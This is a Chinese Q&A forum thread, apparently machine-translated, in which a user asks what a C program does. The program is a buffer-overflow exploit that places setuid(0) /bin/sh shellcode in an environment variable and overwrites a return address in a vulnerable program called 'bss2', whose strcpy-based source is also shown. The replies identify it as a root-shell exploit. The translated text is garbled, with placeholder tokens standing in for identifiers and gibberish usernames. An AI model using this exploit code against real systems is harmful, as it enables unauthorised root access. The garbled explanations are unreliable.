这个程序在做什么?
|
#define bufsize 260
/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */
char shellcode[] =\"\\x31\\xdb\\x53\\x8d\\x43\\x17\\xcd\\x80\\x99\\x68\\x6e\\x2f\\x73\\x68\\x68\"
\"\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\";
int main(void){
char buf[bufsize] ;
char *proc[]={\"./bss2\",buf,NULL};
char *envir[]={\"Bytes=2Lu\",shellcode,NULL};
unsigned long ret_addr = 0xc0000000 - strlen(proc[0]) - strlen(shellcode) - sizeof(void *) - 0x02;
memset(buf,0x42,sizeof(buf));
memcpy(buf + bufsize - 4,(char *)&ret_addr,4);
execve(proc[0],proc,envir);
return 0;
}
execve
之前的ѭ1和ѭ2是什么?它对程序proc
有什么影响?
bss2的更新代码
#define LEN 256
void output(char *);
int main(int argc, char **argv) {
static char buffer[LEN];
static void (*func) (char *);
func = output;
strcpy(buffer, argv[1]);
func(buffer);
return EXIT_SUCCESS;
}
void output(char *string) {
fprintf(stdout, \"%s\", string);
}
更新
现在看来问题归结为环境变量位于何处?
没有找到相关结果
已邀请:
6 个回复
到街客核
中包含
,并在
中包含256个
字符字符串和一个返回地址。该环境在第一个位置包含一个虚拟变量,在第二个位置包含shellcode。 假定目标应用程序“ 10”包含一个变量“ 11”,它将变量“ 9”复制到其中,而没有边界检查。这将导致函数返回地址被
中计算出的返回地址所覆盖,并希望指向环境块。
淑灯
春驹晴陪
,使用
/
操纵另一个可执行文件的参数并计算一些
值。
体悉
爆刺疤灯
和
未定义,因此无法编译。 更严重的是,它似乎正在尝试利用缓冲区溢出或称为“ 10”的shell命令上的类似内容。
绊伦欧
在那之后,我感到无聊,但是在Linux中用于INT 80调用的系统调用23是sys_setuid,因此将UID设置为0或获取root的代码看起来像是。不足为奇,因为它是外壳程序代码。 :-)